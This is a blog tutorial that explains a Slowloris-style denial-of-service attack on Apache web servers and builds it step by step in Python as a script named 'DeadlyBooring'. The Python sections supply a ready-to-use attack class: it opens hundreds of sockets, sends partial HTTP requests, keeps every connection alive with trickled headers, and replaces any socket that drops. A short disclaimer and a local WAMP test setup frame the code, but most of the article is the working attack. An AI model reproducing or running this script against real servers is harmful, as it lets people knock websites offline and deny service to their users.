paint-brush
[A Step by Step Guide] Executing A Denial of Service (DoS) Attack in Pythonby@joelbarmettlerUZH
916 reads
916 reads

[A Step by Step Guide] Executing A Denial of Service (DoS) Attack in Python

by Joel BarmettlerOctober 15th, 2019
Read on Terminal Reader
Read this story w/o Javascript
tldt arrow

Too Long; Didn't Read

DeadlyBooring DOS is a free interpretation of SlowLoris DOS. Instead of sending as much data as possible, we send as little data as we can. The code is fairly simple and just under 50 lines. It is written for educational research purposes only. Never run such an attack against IP addresses that are not under your control. You got your own responsibility. Never abuse the script to harm anybody. It is really simple: For all sockets, send a request with a request X-a-request header error.

Companies Mentioned

Mention Thumbnail
Mention Thumbnail
featured image - [A Step by Step Guide] Executing A Denial of Service (DoS) Attack in Python
Joel Barmettler HackerNoon profile picture

Denial of Service attacks do not always have to flood the server with requests to make him shut down. Deadly Booring DOS takes a much more elegant approach: Instead sending as much data as possible, we send as little data as we can. DeadlyBooring is a free interpretation of SlowLoris DOS.

Preface

Deadly Booring DOS was purely written for educational researches. I am going to explain how you can set up a simple apache website on one of your old machines that you can use to test DeadlyBooring.

Never run such an attack against IP addresses that are not under your control. Never abuse the script to harm anybody. You got your own responsibility.

The Idea

DeadlyBooring DOS looks at DOS attacks from a different perspective. To understand how it works, we first need to understand internet protocols in general. What our browser is doing when we enter http://www.github.com is sending a HTTP GET Request to the IP address of the github servers (which is 192.30.253.113, by the way) to the port 80, which is usually used to serve HTTP Requests.

Such a HTTP GET request may say “Please give me the /joelbarmettlerUZH/DeadlyBooring_DOS site”, to which the github servers will respond with the corresponding HTML file.

HTTP GET Requests

The normal usage of such GET requests is to just type an URL into your browser, which then asks the DNS server to convert github.com into an IP and formulates the right GET request for all the content that needs to be displayed, such as images and scripts. The browser asks for data — the server responds — done.

The interesting thing is that such HTTP GET requests follow a well defined schema: They start with the content the browser is asking for, followed by the used Protocol (HTTP/1.1), ended with two line-break characters \n\n. As long as the server does not retrieve these two newline characters, he is waiting for more data to come, thinking the browser has a temporary internet loss or simply a slow connection.

Eventually, when the server does not hear anything from the browser for a bunch of seconds, he drops the connection to the browser again.

This is quite a normal behaviour.

Apache Servers

DeadlyBooring DOS is now making use of this server behaviours: Most of the internet servers (around 50%) run on apache, an open source HTTP Server Project. Apache is built in a way that the server opens a new Thread for every user that is requesting content, answering his requests until it is done.

A small server only has a limited amount of such threads he can have opened simultaneously — meaning he can only serve a limited amount of users at once. Normally, this is no problem at all, since small websites rarely have several hundred users that want to make a request to the werbserver in the same second.

What DeadlyBooring DOS does is opening up connections to all threads on the apache webserver and making an unfinished HTTP GET Request every few seconds, which makes the thread wait for more data and therefore prevents the webserver from closing the connection.

This means that we pretend to be several hundred users with a deadly slow internet connection, making the whole server wait for data to come, but we will never finish sending our incomplete requests every few seconds.

While the server has all its threads dedicated to our script, the webserver will not answer any other GET requests from other users, since he is busy waiting for our nonsense data. Meanwhile, our computer barely needs any computing power since all we do is sending several hundreds tiny small data packages to a server every second — which is by no means a task you would even recognize running in your background.

The Code

The code is fairly simple and just under 50 lines. First, we create the DeadlyBooring class and provide it with information about to what IP we would like to lead our attack to, as well as the Port (80 is the standard port for webserver) and the number of parallel connections that we want to establish.

Lastly, we fake some HTTP GET header information to make our requests plausible to the server.

class DeadlyBooring():
    def __init__(self, ip, port=80, socketsCount = 200):
        self._ip = ip
        self._port = port
        self._headers = [
            "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)",
            "Accept-Language: en-us,en;q=0.5"
        ]

Create Sockets

Next, we want to create our sockets. We define a method that connects a new websocket with the dedicated protocol types to the IP and Port that we specified. We send him a first GET request and the HTTP header information. Some error handling ensures that an error would not lead the DOS to stop but would just try creating a new socket instead.

def newSocket(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(4)
            s.connect((self._ip, self._port))
            s.send(self.getMessage("Get /?"))
            for header in self._headers:
                s.send(bytes(bytes("{}\r\n".format(header).encode("utf-8"))))
            return s
        except socket.error as se:
            print("Error: "+str(se))
            time.sleep(0.5)
            return self.newSocket()

Now we just have to create a list with a few hundreds of such sockets that we can then use for our DOS attack.

self._sockets = [self.newSocket() for _ in range(socketsCount)]

Attack-method

Now let’s finally write the attack method. It is actually really simple: For all sockets, we send a get request with the X-a header field, keeping the request open and making the server wait for the rest of the data.

After each sent request, we wait for a short period of time before sending the next one, with making sure that every socket sends data at least once every couple of seconds so that the connection is not lost.

Every lost socket is immediately replaced with a new one taking its place, guaranteeing that free server threads are populated again.

def attack(self, timeout=sys.maxsize, sleep=15):
        t, i = time.time(), 0
        while(time.time() - t < timeout):
            for s in self._sockets:
                try:
                    print("Sending request #{}".format(str(i)))
                    s.send(self.getMessage("X-a: "))
                    i += 1
                except socket.error:
                    self._sockets.remove(s)
                    self._sockets.append(self.newSocket())
                time.sleep(sleep/len(self._sockets))

Testing

In order to test our code, we need to create a protected environment, since we can not just start a DOS attack on some server that we do not own. As a simple option, you can use some old hardware and run wamp on it. Install and run WAMPServer on your second device and test the connection by visiting localhost:80, which should give you the default wamp interface, indicating that your server is running.

If you want to go fancy, create a simple HTML file in the www directory where you installed whamp. Now open the command promt on your second device and run

ipconfig

which will give you your local IP-Address (lets assume here that the devices IP is 192.168.0.33). Test the connection to your second device via typing “192.168.0.33:80” into your browser, letting you directly access the webpage you created on your second device.

If you see nothing, make sure both devices are connected to the same router, your WAMP is running and no firewall is blocking the access.

Otherwise, make sure that in the WAMP https_config file, you set the restrictions to LOCAL (google for further instructions). If it works, try calling DeadlyBooring on the same IP on Port 80.

Refresh your page and you will see that you will get no response from the server (note that the website may be cached, in that case, you might still see the page).

You can find the code in my github repo.